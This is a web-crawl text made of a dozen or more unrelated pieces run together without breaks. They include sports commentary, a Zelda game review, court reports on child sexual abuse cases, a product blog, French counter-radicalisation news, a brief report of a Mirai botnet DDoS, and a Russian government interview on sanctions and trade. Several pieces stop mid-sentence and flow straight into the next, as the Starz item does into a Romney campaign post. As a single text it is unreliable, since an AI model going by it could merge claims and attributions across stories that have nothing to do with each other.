It’s great to have a perfectly balanced team, but all too often that just doesn’t happen. You may have every position player hitting home runs in the double digits or even 20-something range, but it’s often those few big hitters that put teams in front of the all-important home run and RBI categories.
Nothing against guys who hit 30 dingers annually, but it feels good to have at least one guy on your team who can go for 40 or 50 to make up for a middle infielder who you need to keep on for average or steals.You must enter the characters with black color that stand out from the other characters
Message: * A friend wanted you to see this item from WRAL.com: http://wr.al/18I7g
— A Rocky Mount teacher accused of engaging in sex acts with students made her first court appearance on Tuesday, facing four felony charges.
Erin Elizabeth McAuliffe, 25, of Rocky Mount, is accused of having sexual contact with 3 teenage boys appeared in court this morning.
She's charged with three counts of sex acts with a minor and one charge of indecent liberties with a minor. The victims are all Rocky Mount Prep students, where she was a teacher for less than a year
Investigators began looking into allegations of misconduct in May after receiving a call from school administrators. Police say the students involved included a 16-year-old and two 17-year-olds.
Police said the the incidents happened off campus, and detectives have interviewed numerous students and faculty.
McAuliffe covered her face when she left the court room and would not speak with reporters.
Officials said more details will come at a later date. Her next court appearance is June 29.
School officials said Friday that McAuliffe was fired on May 4. School officials said her tenure there began in August 2016.
McAuliffe was in the Carteret County jail Friday under a $20,000 bond.New Delhi, Oct 2 (PTI) Markets watchdog Sebi along with regulators from the US, Japan and other countries is participating in world investor week launched today by the International Organisation of Securities Commissions (IOSCO).
This is IOSCO’s first World Investor Week (WIW) and would run worldwide till October 8.
IOSCO’s membership regulates more than 95 per cent of the world’s securities markets spread across over 115 jurisdictions.
A bell-ringing ceremony at the Tokyo Stock Exchange marked the start of WIW to promote greater investor education and protection.
“Throughout the week, securities regulators and other stakeholders from more than 70 countries across the globe are providing a variety of activities to increase the awareness of investor education and protection in their own jurisdictions,” IOSCO said in a release.
Sebi is also on the IOSCO board.
IOSCO Secretary General Paul Andrews said many of the activities that are taking place are centred around the campaign’s key messages that relate to the desired behaviour, skill set and attitude of a smart investor.
“Continuing to raise awareness is critical not only to investors, but to market participants and regulators as well,” Andrews said.
This is published unedited from the PTI feed.The Legend of Zelda: The Minish Cap is a handheld game and was one of the four Legend of Zelda games developed by Capcom. The game focuses around shrinking down to a small size and interacting with the miniature people of the Minish. I really enjoyed shrinking down and how it affected the world of Hyrule and made this game was pretty fun little adventure. That being said the game also had its fair share of issues, most of which could have been easily fixed.
The first thing that comes to mind is Kinstones, which are both a positive and a negative part of the game. This mechanic introduced in The Minish Cap allows you to fuse Kinstones, which you find while exploring Hyrule, with other characters in the game and it gives you a reward. It was fun because it opened up new paths in areas that you have already visited and added an extra layer of exploration. I think it was an interesting idea and I did find it relaxing to go around fusing Kinstones with other characters, but the system had a number of flaws. The first issue is “shared” fusions, which is when multiple characters have the same Kinstone to fuse with. This can get confusing as I was talking to every character and taking mental notes on which character needed what Kinstone, but when I came back most of the fusions were gone after fusing with one person. The next issue was “finicky” fusers, which was when certain characters only occasionally wanted to fuse with me. This was annoying when I was getting all of the fusions but as I was checking all of the characters to see if I could fuse with them I would have to check multiple times just to make sure. My biggest issue with Kinstones however was the rewards. Some of the rewards were great, like Heart Pieces or massive amounts of Rupees, but sometimes the reward for fusing a Kinstone was another Kinstone. That is just nonsensical. I think the system was unique and had potential to be a great new form of collectibles, but fell a little flat in the execution.
While Kinstones were a little disappointingly executed, there is a far worse offender in this game: figurines. There is a shop where you can play a gashapon machine and collect 136 figurines. Each new one that you get decreases the chances of you getting another new one. There was so much wrong with this mini-game and it is possibly the most obnoxious and blatant time waster that I have ever seen in a video game. Of course, you do not need to play it to complete the game, but you need all 136 figurines if you want the last Heart Piece in the game. The last Heart Piece is not even accessible until you defeat the last boss anyway, so there is not even a reason to collect that last Heart Piece other than wanting to 100% the game. It takes about thirty seconds to do one roll of the gashapon, which can equate to one figurine if you are getting one every roll, which you are not since it is a game of chance. You can increase your odds by putting more money in, but it is wildly inefficient to do so. I probably spent three or four hours just on this stupid gashapon. I just watched some Netflix or a Twitch stream while doing it, but I really wonder how this feature made it into the game in this state.
Even though figurines were a mindless grind and were frustrating, The Minish Cap also had some really great features to it that cannot be ignored. The dungeons in this game are extremely fun and memorable. They all had unique concepts and implemented them well in the dungeon designs. Whether I am sailing on a lily pad, shrinking to access new parts of dungeons, digging through tunnels, or flying across cloud tops, the game constantly feels fresh and innovative in its dungeon design. This is partly due to the items in the game; the Gust Jar, Cane of Pacci, Mole Mitts, and Roc’s Cape were all very unique items and allowed for some great puzzles. The bosses in the dungeons were also very fun. Some of the bosses were normal enemies like Chus, but you had to fight them while small which was an interesting way of adding variety to boss battles. While there are only six total main dungeons in the game, they are high quality and that makes up for the small number of dungeons. Also, there are a couple areas that acted like mini dungeons; The Royal Crypt, Mount Crenel, Wind Ruins, Castor Wilds, and the Cloud Tops all were areas that required me to think like I was in a dungeon. The Wind Palace and Dark Hyrule Castle in particular were my favorite dungeons and honestly are some of my favorite Legend of Zelda dungeons that I have played to date.
The land of Hyrule in The Minish Cap was very interesting and I quite liked how the overworld flowed together. Using newly obtained items to access older areas much more easily was a smart idea as this game does have a lot of backtracking because of the Kinstones. Hyrule Town was also very well designed in my opinion, every building and character had a purpose; it was interesting to explore at both normal and small size. The characters in the game were pretty interesting, but unfortunately you do not get to interact with them much other than talking to them once or twice. Ezlo is an interesting companion and is certainly much less annoying and intrusive than a lot of other Legend of Zelda companions. He is more than just a helping fairy and actually has a personality so I quite liked him. As a whole, the shrinking mechanic added an extra layer to exploring the land of Hyrule. Searching for little holes and passageways was certainly interesting and added some variety to the game. Everything about being small was thought out and made sense. The enemies were bugs or small critters, small streams of water became rivers, and areas that were a little larger than Link became entire villages. I personally really liked the shrinking mechanic and Hyrule as a whole in this game.
The Minish Cap was by no means a perfect game, but it certainly was entertaining. The issues with the game were only really bad because I went for 100%, but in a normal play through the problems with the Kinstones and figurines would be a lot less apparent. Overall it was a fun adventure and although it was short it had plenty to do and explore thanks to the shrinking mechanic. It was certainly a very unique Legend of Zelda, both in concept and in execution, and I do think it is definitely worth a play through if you are a fan of the series.
AdvertisementsA member of the Political Bureau of Moroccan Authenticity and Modernity Party, Abdul Latif Wehbe, has accused France of meddling in the Tunisian affairs and using “force and violence” to prevent the Ennahda movement from leading the government.
Wehbe, who resigned last week as head of his party, said: “France has intervened through force and violence to prevent Tunisia’s Ennahda movement from continuing in office, after it reached it through elections.”
“France was not interested in any Islamic-oriented government in the region, and tried to prevent it,” he said.
Why is France’s colonial chapter in Algeria anything but history?
However, Wehbe added that France allowed Morocco to have an Islamic oriented-government because “Morocco knows how to manage its problems”.
The Moroccan MP’s remarks coincide with Tunisian media reports about the possible involvement of France in the “assassination” of opposition leaders, Chokri Belaid and Mohamed Brahmi, after French President Francois Hollande admitted to giving orders to carry out assassinations “in favour of France” abroad in his book “A President Should Not Say That: Secrets of Five Years in Office”.Ray Teret, who is on trial for a number of sexual offences, also allegedly told her: ‘you should be thanking us’
Jimmy Savile raped a 15-year-old girl who was then immediately raped again by another DJ who told her “you should be thanking us”, a court has been told.
Ray Teret, a former DJ with pirate station Radio Caroline, took the teenager to a Manchester flat in the early 1960s where she found Savile, Manchester Minshull Street crown court heard.
The girl met Teret, who also worked at Manchester’s Piccadilly Radio, at her first disco where he was DJing, prosecutor Tim Evans said. After offering her a cigarette, Teret, now 72, allegedly took her to the flat in a bubble car to deliver some “fancy boots” to Savile.
“She couldn’t believe it when she saw Jimmy Savile, who was famous even then, in the flat and couldn’t wait to tell her friends who she’d met,” said Evans. “She was offered a drink – a Lucozade – and asked to sit down. Savile put his hands up her skirt, pulled her knickers down, pushed her down on the bed,” said Evans. “She said ‘What are you doing?’ and will tell you she didn’t know anything about sex. Savile raped her.”
Evans said Teret raped her immediately afterwards. “Teret came across to her. He pushed her back on the bed and he too forced himself on her,” he said.
Teret allegedly later told the girl: “You should be thanking us because we have made it easier for when the next person goes there.” He is claimed to have given her cash and told her: “Get the bus home, I have got to go back to the club.”
Evans said Teret “deliberately brought a vulnerable and inexperienced girl back to the flat for Savile to rape her”.
Teret, of Altrincham, Greater Manchester, is on trial with two other men, William Harper and Alan Ledger, accused of sex offences against girls dating back to 1962. The three face charges relating to a total of 17 girls, all now grown up.
Teret denies 18 rapes, two other serious sexual assaults, one attempted rape, 11 indecent assaults and two counts of indecency with a child.
Ledger, 62, from Altrincham, denies a serious sexual assault, two indecent assaults and one count of indecency with a child. Harper, 65, of Stretford, denies one count of attempted rape.
Teret “used the celebrity that he had to abuse young girls in various ways and that the other two defendants – Mr Ledger and Mr Harper, who were friends and associates of Teret – also became involved on occasions,” Evans told the court.
The girl came forward only after Teret had already appeared in court in relation to this trial in April this year, the jury heard. She felt “terrible” after seeing him emerge from court waving and smiling, and it affected her relationship with her husband so badly that he tried to kill himself. After explaining to him what was wrong, she went to the police, Evans said.
He said the defendants should not be contaminated “because of the spectre of Savile”, adding: “This is not guilt by association and that sort of notion plays no part in this trial.”
The case continues.Goalkeeper: Iker Casillas
If a player is a free agent in the middle of a transfer window, it is usually because something is unattractive about them: for the most part, it will either be because they are no good or because of their age. Iker Casillas is 36 – old for a sportsperson but not necessarily scrapheap time where goalkeepers are concerned. Casillas ended his two years at Porto this summer after his contract expired, a moment he marked by posting a clip of him slowly walking into the sea. Presumably this was either a symbolic act representing his departure from Portuguese shores or a touching tribute to Reginald Perrin. Either way, it displayed that he is off to something new, and even at his advanced age he will be useful for someone, even if it is for his keen knowledge of 1970s British sitcoms.
Defence: Pepe
Transfer window 2017 – every deal in Europe's top five leagues Read more
Football is supposed to be about fun. Winning, sure. Skill, absolutely. But most of all, fun. So with that in mind, we implore someone, somewhere to sign Pepe as soon as possible. The Portuguese bruiser is no longer a Real Madrid player and is open to offers, with PSG, Besiktas and a clutch of other clubs who have a slightly unhinged but ultimately very entertaining centre-back-shaped hole in their defence. As often with players who are rather “rambunctious” on the pitch, Pepe is apparently a perfectly sensible, approachable chap off it, but has perhaps the most emphatic case of white line fever in football history. And who wouldn’t want that in their team?
Defence: John Terry
You wonder if John Terry regrets managing to force through that extra year at Chelsea. Sure, he got himself another Premier League winners’ medal but he barely played as Antonio Conte’s broadly unchanged side stormed to the title. Had he left 12 months ago, he might have secured a two-year contract somewhere half-decent, enjoyed another full season of contributing in a meaningful way to a team, and perhaps been left with more options for the latter days of his career. Of course, he may still have some of that but it is tempting to think of it as a year wasted. So where will he pop up at the start of next season? It is hard to see him playing near the top of the Premier League again but one imagines he will have some choices to make, and pretty soon.
Defence: Gaël Clichy
At some points last season Pep Guardiola looked thoroughly unhappy with life, a man haunted by the vague notion that he’d made a mistake. Plenty of that was to do with the Manchester City defence, partly assembled by him but partly inherited, an ageing backline featuring players past their best. That was particularly true at full-back, where Bacary Sagna, Pablo Zabaleta and Gaël Clichy have been cut free as Guardiola attempts to fashion a team more in keeping with his own image. But just because some of them weren’t good enough for City, that doesn’t necessarily mean they might not be useful for another side, although Liverpool’s reported offer of a two-year contract might say more about their other options than Clichy’s ability.
Right wing-back: Jesús Navas
It remains one of the great mysteries of our time that Jesús Navas clocked up 183 appearances over four seasons with Manchester City. The last time he scored a league goal was in January 2014, and he recorded two assists in 35 games last season. The statistics for how many times he ran down the wing and wellied the ball straight into the opposition left-back’s shins are, alas, not available. Still, what Navas will do very happily is work hard, work quickly and provide a doughty presence on the flank for someone that needs it. Last season’s excursions at right-back indicate that he could do a reasonable job as a wing-back, and in an age where three-man defences are not so much fashionable but available on most high streets, he may be a decent option for someone there.
Central midfield: Jan Kirchhoff
You can identify a broad range of reasons for Sunderland’s decay and ultimate demise, but somewhere in the mix must be the frustrating campaign suffered by Jan Kirchhoff. The big German didn’t play a minute of first-team football after December, and since he was one of the key men in the great escape as guided by Sam Allardyce the previous season, his absence with hamstring then knee injuries blew a big hole in the side of David Moyes’s attempts to do similar. It’s his adaptability that makes him attractive, most at home as a defensive midfielder but also able to play at the back, and if a team are prepared to look past a season of questionable fitness, they may try to reawaken the player who was so promising on Bayern Munich’s books.
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Central midfield: Sulley Muntari
It has been, to say the least, an emotional few months for Sulley Muntari. In May, he was booked for the crime of protesting against racial abuse, and as that represented his fifth booking of the season, he was suspended before the ban was rescinded. He walked off the pitch in protest and didn’t play another minute for Pescara but now is a free agent and looking for another club, not least to restart his international career with Ghana. The football world does not quite work like this but it would be a fitting and just denouement to the whole sorry business if someone took a chance on Muntari, a man who has suffered countless examples of abuse throughout his career.
Left wing-back: Zoran Tosic
Eight years ago, the expensive arrivals of Zoran Tosic and Adem Ljajic were announced with no little fanfare by Manchester United. Tosic, in particular, was viewed as a potential successor to Ryan Giggs, but at the end of a rather curious couple of years in Manchester, he left having played fewer games for United than Bebe. Now, after seven years at CSKA Moscow, he’s available on a free, still with a yard of pace despite being 30. It would be too narratively perfect for United to re-sign him, but a man able to do a job as winger or wing-back might be useful for a side on a tight budget. There’s talk of him heading to Turkey to sign for Galatasaray or Besiktas, so bargain hunters, there’s no time to lose.
Forward: Rachid Ghezzal
Football transfer rumours: Barcelona eyeing Southampton’s Cédric Soares? Read more
Most scouts who have shown up at Lyon in the last year or so will presumably have been largely there to watch Alexandre Lacazette, but they might have kept half an eye on another product of the club’s youth system, Rachid Ghezzal. A left-footed winger who can play on either flank and cites Arjen Robben as his “reference point”, Ghezzal broke into the Lyon team relatively late, having endured a stop-start first few years to his career. The 25-year-old’s form in the season just ended was thought to be a little less consistent than what came before, but he clearly has the capability to be a terrific performer. Everton have been linked, Milan are supposedly keen and some reports indicate that Roma have identified him as the man to replace Mohamed Salah.
Forward: Richmond Boakye Yiadom
Like assessing the lots in the auction of a bankrupted man’s estate, in football sometimes opportunities present themselves when clubs fall on hard times. That’s the case for Latina, last season a Serie B club who towards the end of the season were deemed financially unviable, so have been demoted to the amateur leagues, meaning all their contracted players are free to find new clubs. One such man is Richmond Boakye Yiadom, a Ghanaian forward who spent last season on loan at Red Star Belgrade, scoring 16 goals in 19 appearances. He would be a somewhat left-field choice, but in the uber-competitive, sharp-elbowed world of modern football, clubs need to grab any advantage they can. Signing this sort of player for nothing might be just that.
Forward: Zlatan Ibrahimovic
It must have been extremely strange to be Zlatan Ibrahimovic when his knee gave way at the end of last season. The great Swede hadn’t really suffered any serious injuries previously, but when his cruciate ligament snapped against Anderlecht the last great chapter in his story might have been derailed. It will be a terrific shame if this spells the end of his career, but as he’s already been training at Manchester United it looks as if he isn’t planning on going out just yet. Ibrahimovic will in all likelihood start the season unsigned, and his first choice will presumably be to finish what he started at United, but might an enterprising club take a (significant) gamble by offering him a contract now?EXCLUSIVE: It is the end of the road for Starz‘s Magic City. The pay cable network has opted not to order a third season of the period drama, with the Season 2 finale on Friday serving as a series finale. Magic City, which chronicled the collision of mobsters, politicians and entertainers at a posh Miami hotel in 1959, just as Fidel Castro took control of Cuba, was created by Mitch Glazer based his own recollection of growing up in Miami. “We are tremendously proud of the series and everyone involved,” Starz said in a statement. “From the writers, to the cast and crew, it has been an incredible collaboration. This was a story born from Mitch Glazer’s singular vision of Miami, the Magic City of his childhood, and we are grateful to him for bringing it to life on Starz. The season’s story arc will allow us to deliver a satisfying conclusion to the series, and we thank all the fans who checked in to the Miramar Playa.” At TCA last month, Starz CEO Chris Albrecht teased that the last few episodes of the show contain a lot of surprises that will answer questions.Like with all of its shows, Starz ordered Magic City straight to series. Showing faith in the the Jeffrey Dean Morgan-toplined period drama, the pay cable network ordered a second season before the series premiere. Starz has been patient with most of |
Mitt Romney's experience in business off the national discussion. He barely even brings it up on the stump these days as the Obama campaign turned his central strength into a stunning weakness. Now polls are reporting that voters rank President Obama and Mitt Romney even on the economy, while giving Obama large advantages on everything else.You can give Bill Clinton the credit for that. His masterful defense of the Obama economic program was a huge boon, as voters view President Clinton's economic credentials with trust and credibility. The Romney campaign also made the tremendous blunder of elevating President Clinton's credibility by praising him, leaving them no room to dispute anything Clinton said. A HUGE error in tactical political judgment and stunning for a modern presidential campaign.
BuzzFeed also notes that the leadership inside the campaign for righting ship is not coming from the top of the ticket, but from Paul Ryan:
The call revealed some of the Romney-Ryan ticket’s thinking. First, it plainly understands the need to go around and over the heads of the mainstream media and to buck up the base. Second, it doesn't buy the liberal spin that it’s running a referendum election; Ryan has always argued for and talked about two visions and giving the voters a clear choice.
This would be an even more catastrophic blunder than selecting Mitt Romney as a presidential nominee. Ryan doesn't realize that his ideas are about as popular as ebola. But more to the point, if they are trying to buck up the Republican base in September of a presidential election, they've already lost. If they put the Ryan plan up for a national vote in November with Mitt Romney as its avatar, modern conservatism will be in for sound rejection that will be impossible to spin.
Finally, this news illuminates the sheer lack of depth inside the Romney campaign's strategic planning, tactical acumen and internal controls. I don't have any links, but I'm willing to bet that Boston is right now a cesspool of finger pointing, ass covering, backstabbing and infighting. The responsibility for which, inevitably, must land in the hands of the nominee himself. If he can't effectively run his own campaign for president, he certainly isn't qualified to be the president.
Update: Politico is reporting the Romney campaign is in disarray as predicted in this post. Hilarity:
As mishaps have piled up, Stevens has taken the brunt of the blame for an unwieldy campaign structure that, as the joke goes among frustrated Republicans, badly needs a consultant from Bain & Co. to straighten it out.One of my newest ventures–beside Microryza (pronounced “Mike” + “Row” + “Rye” + “Zah”), which is a crowd-funding platform for research projects– is a product called: the Hot Straw.
The gist of Hot Straw is this: you cannot drink a straw with a hot drink– why? Because it melts in the liquid from something in the straw called Plasticizers.
Dawn Miracle (it’s her real name, trust me, I asked), Founder and CEO of Hot Straw, first came up with the idea for Hot Straw when working with Parkinson’s patients as a Clinical Researcher, because they DEFINITELY cannot drink hot liquids.
Basically she wanted to help them enjoy hot drinks without spilling or worrying about standard straws melting in the heat, she created a straw that eliminated Plasticizers.
In short: Hot Straw is the first straw designed specifically for use in hot liquids. The key difference is in its ability to withstand the temperature of a hot beverage and not allow plastic to melt into the drink. PLUS, (get this) it’s also BPA free, recyclable, and dishwasher safe.
Awesome.
Another cool about this product goes to the design of Hot Straw. Hot Straw has an oval shape that matches the opening in a to-go coffee lid, meaning the straw doubles as a spill stopper that you can still sip from.
“As a Clinical Researcher, it killed me to know my Parkinson’s patients couldn’t enjoy the coffee they have had their entire life. It’s my job to make their lives more comfortable and they wanted a hot drink, so I found a way to make it happen.” -Dawn Miracle
It was only after she created the straw for her patients that Dawn realized the interest from friends outside her research (this is where I come in).
THRILLED to say that as of last Tuesday Hot Straw has launched at Solsticio Café in Fremont (WA), the first café to sell Hot Straws.
Since Hot Straw was originally created to help Parkinson’s patients, 5% of all proceeds will go to Parkinson’s research!!!
Big talks going on with big names, but as long as the 5% give-back to research is still there– I couldn’t be happier. Or more excited.. =) Stay tuned, I’ll try to find the time to talk about Microryza sometime soon too. If you’re super curious about that, then check out our Tumblr here.
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To stop the stream of French youths pursuing jihad in Syria, France is preparing to try to tackle terrorism before it starts, by involving schools, parents and local Muslim leaders, The Associated Press has learned.
This is part of a still-confidential plan prompted by fears that young radicals who travel to Syria could return home with the skills and motivation to carry out attacks — a Europe-wide concern. French officials say the plan will be made public soon.
The fears resurfaced last week when authorities revealed the discovery near Cannes of three soda cans packed with nails, bolts and explosives plus bomb-making instructions at the apartment of a 23-year-old man who had returned from Syria. Memories are still fresh of a radical Muslim Frenchman who gunned down children at a Toulouse Jewish school in 2012, after training in Afghanistan and Pakistan.
To combat terrorism, France amassed one of the West's toughest legal arsenals following terror attacks in the 1990s, focusing on prosecuting proven extremists instead of trying to prevent radicalization.
That's about to change, according to several top government officials who spoke on condition of anonymity because the plan is still being finalized. They spoke after President Francois Hollande convened a special council last week and adopted a strategy to counter the accelerating threat posed by hundreds of French heading to Syria.
"We are working upstream," said one high-ranking security official. "That's new in France." Another government official said France is "not on the forefront when it comes to the prevention of radicalization." They said France has consulted British authorities to try to learn from similar efforts there.
The new French push will be a challenge in a country where distrust runs high between police and minority youth in hardscrabble housing projects, and provokes occasional riots. And it could prompt controversy if it is directed solely at Islam. France, a secular nation that demands a clear separation between church and state, has been accused of stigmatizing Muslims with measures such as banning face-covering Islamic veils.
The new French government plan also includes tough measures to bolster intelligence and border surveillance, including restricting minors from leaving France, the officials said, confirming a report in Le Monde. Authorities also want to improve cooperation with counterparts in Turkey, a key route into Syria for fighters.
French authorities said in January that up to 700 French had left for Syria, were planning to go or died in battle. The migration to Syria — including teens as young as 15 — far outstrips the number of Europeans who left for Iraq and Afghanistan in years past.
French officials say the West's vehement stance against Bashar Assad's regime may, for vulnerable youth, have conferred some legitimacy on fighting the regime. Some youths see themselves as defenders of a civilian population under assault. Others see glory in helping to seize territory with the dream of creating an Islamic state.
Not all those traveling to Syria become hardened jihadists. Some even turn back. France wants to prevent them from taking the journey in the first place.
That includes working with local governments, schools and religious leaders in the country with Western Europe's largest Muslim population, at least 5 million. It remains to be seen how teachers and parents will be expected to identify potential extremism.
The plan would involve the French Council for the Muslim Faith, a conduit for the government with France's Muslim communities. Dalil Boubakeur, the group's president, says it is working with authorities "to understand why these youths are drawn to this."
A top French expert in radical Islam said some town governments have already worked with French intelligence on detecting potential jihadis, but now the government wants to do it more systematically and overtly.
Authorities want to offer vulnerable youth an alternative to the world view offered by jihad recruiters. Local prevention centers would reach out to families of youth who have started radicalizing, Le Monde and the officials said.
The thrust meshes well with Hollande's focus on education and his Socialists' penchant for community outreach.
"From a security point of view, it doesn't make sense to rely on the repressive approach alone," said terrorism expert Magnus Ranstorp of the Swedish National Defense College.
Security should not be "the first and only recourse.... There will always be fires breaking out," said Ranstorp. "The preventative approach is the only way forward."
Denmark and the Netherlands are among nations with such programs, along with Britain.
Critics of some British programs say they put schools in difficult positions, expected to rat on students, and that success is impossible to measure. One target is the Channel project, part of a larger effort called Prevent which liaises with schools, volunteer agencies and other local groups. Of the 2,653 people spotted as potential risks since the Channel program's inception in 2007 until March last year, 22 percent — not all Muslims — were considered vulnerable enough to violent extremism to be placed in the program, according to the Association of Chief Police Officers.
Louis Caprioli, a former No. 2 French counterterrorism official, doubts that the prevention effort would help in the short term. "We are in a demarche that will take years."
"Radicalization no longer takes place inside the town, which you can control, inside mosques, which you can control," he said. Today, children communicate via social networks.
"We are in a dimension that no one masters anymore at all," Caprioli said. Many parents "don't know what a tweet is, what a chat is" and their children sometimes have two phones — one to communicate with those in Syria.
As long as Syria is a battlefield, he said, the "jihad phenomenon will continue."
___
Sylvie Corbet in Paris contributed to this report.Hacking just might pay, if a new trend amongst several of London’s largest banks is to be believed. According to sources, the banks have begun stockpiling bitcoins, an untraceable virtual currency, to pay off hackers targeting their institutions with cyberattacks.
The revelation that these banks are setting aside ransom funds comes in the wake of a slew of cyberattacks on Friday. Twitter, Reddit, and Netflix users all found their favorite sites down in a coordinated Distributed Denial of Service (DDos) attack.
The attackers used a Mirai-based IoT botnet to overload the sites’ servers with malicious requests from millions of IP addresses. The attack was made possible by the increasing number of devices connected within the internet of things. Any smartphone or connected device with weak login credentials can become weaponized in such an attack, and with more and more devices connected to the IoT every day, what’s a company to do?The Russian Orthodox chapel on the Vršič Pass road is a vital element of Russian-Slovenian relations. It was built during WWI by Russian prisoners of war in memory of their comrades who died [in an avalanche] during the construction of the road. Local residents maintained the chapel for nearly 100 years, and it gradually came to be seen as a symbol of friendship between our nations. Slovenians and Russians come here to commemorate their ancestors.
We are sincerely grateful to the Slovenian people for this attitude to our shared past, to the historical memory. It is one of the things that help us develop good partner relations. One more example of this kind is the joint celebration of the 70th anniversary of Victory in WWII. Despite the political difficulties, a Slovenian delegation attended the celebrations in Moscow. We highly appreciate this.
Unfortunately, more attempts have been made recently to revise history, including the history of WWII. This has happened in some European countries, where the authorities take a relaxed view of the open propaganda of Nazi ideas, where national radicals feel increasingly at ease, and people in SS uniforms hold street marches.
This not only offends the memory of millions of victims of Nazism, but also threatens the fundamental principles of democracy and human rights. This has come to a point where attempts are made to regulate international relations by manipulating history. Taken together, this is crating conditions for ethnic and interstate conflicts.
We in Russia consider it vital to jointly resist the attempts to falsify history. The results of WWII have been sealed in the UN Charter and other international documents; they are an imperative for all countries. We recommend that those who have been trying to absolve Nazis and those who collaborated with them reread the documents of the Nuremberg Trials, which handed down the legal and moral sentence to the war criminals. Or they can watch the Ordinary Fascism documentary by Mikhail Romm or news footage of life in Leningrad under siege, read Tanya Savicheva's diaries, or visit Khatyn, Babi Yar, Auschwitz or Dachau. If they do, they won't need any other argument.
It was upon Russia's initiative that on 18 December 2014 the UN General Assembly adopted a resolution on Combating the Glorification of Nazism, Neo-Nazism and Other Practices that Contribute to Fuelling Contemporary Forms of Racism, Racial Discrimination, Xenophobia and Related Intolerance. An absolute majority of the UN member countries from all parts of the world voted for the resolution, and over 40 states contributed to its text, despite the resistance of several countries, which used the leverage at their disposal to pressure others into rejecting the resolution. The United States, Canada, Ukraine and Palau voted against it.
It's obvious that politicising history and using it for time-serving considerations is a shortcut to a dead-end. Disputed issues must not be used to complicate international relations but should be discussed by scientists. Lies are destroyed by facts that are so obvious that they don't need any other proof. This is why we're ready for discussion and joint studies by scientists from different countries. This alone can take us to historical truth. The less we permit the current policy to pollute history, the more objective and factual the depiction of history in books and textbooks for our children.
Medicines are the largest Slovenian export item to Russia. But in the first quarter of 2015, Russia cut medicine imports by 36 percent. Was this part of Russia's import substitution programme?
It's true that our pharmaceutical market has decreased by about one-third. But one of the main reasons was currency rate fluctuations.
All countries strictly regulate their pharmaceutical markets. It's also true that we have set the goal of producing more medicines, especially socially significant medicines that are purchased with federal money.
Slovenia's pharmaceuticals are well known in Russia. People trust Slovenian drugs. Slovenia's KRKA has been working in Russia for over 40 years. It not only supplies medicines but also invested substantial funds in creating its own plant in the Moscow Region. This is fully in compliance with our import substitution policy. We welcome the investors who bring their knowledge, technology and advanced business practices to Russia. We'll cooperate with our partners who are ready to bring their business here and build their facilities here under long-term programmes.
It is clear that the sanctions have taken a heavy toll on Russia's trade with the EU, including Slovenia. However, the catastrophic consequences of the current crisis predicted by some experts have so far failed to materialise for Russia. How did the Government achieve this?
Regarding Russia-Slovenia trade, which is dominated by raw materials, it was negatively affected not so much by the sanctions as by the adjustment on the energy markets when energy prices dropped.
Overall, it's true that Russia's trade relations with the EU and economic cooperation in general are being tested for resilience. The 38 percent decline in trade between Russia and the European Union in the first five months of 2015 speaks for itself.
Both parties are clearly suffering. No one stands to win from lower trade volume, especially when trade barriers are artificial and are underpinned by momentary political considerations. That said, have the sanctions achieved their aim? Of course, not! Have they made life more complicated? They did, but not just in Russia. You probably understand all too well that sanctions produced a boomerang effect for those who imposed them. Today, European businesses are increasingly preoccupied with the losses their countries are incurring due to the restrictions against Russia. These losses could be in the tens of billions of euros, economists say.
As for Russia's economic problems, they are to a large extent related to the accumulated domestic structural imbalances, not the Western sanctions. We are fully aware of all our economic "ills," and are consistent in our efforts to fix them. The worst has been avoided despite all the pessimistic forecasts. Russia has and will always have a safety margin. By taking timely action, including support for domestic producers, incentives for non-oil and gas exports, and enforced forex and monetary policies, we were able to stabilise the situation and to adapt to the new environment.
A special anti-crisis plan has been devised and is being strictly implemented. Through this initiative, and a number of other measures, the necessary support is being provided to the banking system, which passes it on to the industrial and agricultural sectors. This enables us to focus on major infrastructure projects, using public-private partnership plans, to support small and medium-size businesses, prepare a balanced budget, and keep unemployment at bay.
Russia currently has a trade surplus. Exports of processed goods are on the rise. Consumer demand is beginning to level out. We expect economic growth in Russia to resume by the end of this year or in early 2016. Of course, it will be modest, but it will still be an upward trend.
On top of the anti-crisis measures, the Government continues its efforts to diversify the economy and create conditions for sustainable economic growth. We work on systemic long-term issues, such as improving the business climate, supporting small and medium-size businesses, promoting major investment and infrastructure projects, updating and reequipping production facilities, and improving state governance.
We had been engaged in these efforts before the Western sanctions stand-off against Russia began. These are our strategic plans. They remain unchanged.
However, it goes without saying that at the end of the day we hope that reason and the logic of constructive and mutually beneficial trade and economic cooperation will prevail among Russia's European partners. The exchange of sanctions doesn't benefit anyone. In the end, there is no getting away from each other. Russia needs Europe, and Europe needs Russia.
Ufa hosted the BRICS and SCO summits recently. One of the points that emerged from documents is the need for the countries participating in these organisations to promote settlements in national currency in their relations. What currencies are meant first and foremost? Will the share of the single European currency in the Russian gold and currency reserves change?
It is true that measures enabling BRICS countries to use national currencies, in addition to the dollar, in mutual settlements were approved at the Ufa summits. This step goes a long way in strengthening economic ties within BRICS. Why are we doing this? Primarily, to make sure that our countries are less affected by the monetary policies of the states that issue reserve currencies. This has special importance now as the risks related to high debt levels in advanced countries remain in place. Settlements in national currencies with our BRICS partners, China and India, are already on the rise.
The Moscow Stock Exchange is trading in Chinese renminbi and Kazakhstan's tenge. Moreover, renminbi trade is conducted under the same rules as that in the US dollar and the euro. This diversification is an objective process that is expected to benefit all those involved in foreign trade.
You understand all too well that the more settlements are carried out in national currencies, the higher the influence of the BRICS countries, which account for one-half of the planet's population and 20 percent of global GDP. Russia is interested in stepping up economic ties with the BRICS countries. We have yet to unlock the great cooperation potential we have. Of course, in a situation where some European markets are closed to us, it is natural that Russia will start looking the other way.
We are now fine-tuning new financial institutions, the New Development Bank and the Contingent Reserve Arrangement. These multilateral institutions will provide new opportunities for joint lending, and will help implement new economic and investment projects. Let me add that the funds of the Contingent Reserve Arrangement will also go towards strengthening global financial security, building on existing mechanisms in this respect. This goes to say that financial cooperation of this kind is beneficial for the BRICS countries, as well as for promoting economic stability around the world.
As for the structure of gold and currency reserves, the Bank of Russia, not the Government, is in charge here. It is the Central Bank that is responsible for ensuring that these funds are well-managed, safe, liquid, and generate profits, taking into account the state and prospects of the global financial market. We are currently not expecting any significant shifts in the existing balance of Russia's reserves.
Would Russia supply gas to the EU via Ukraine if Turkish Stream is not completed by 2019, or will it stop any transit via Ukraine?
You are asking me what will happen in several years. Take South Stream: we reached an agreement on it with our European partners, completed the necessary preparations, and spent huge sums on it. We were ready to start laying the pipe across the Black Sea. What has come of it?
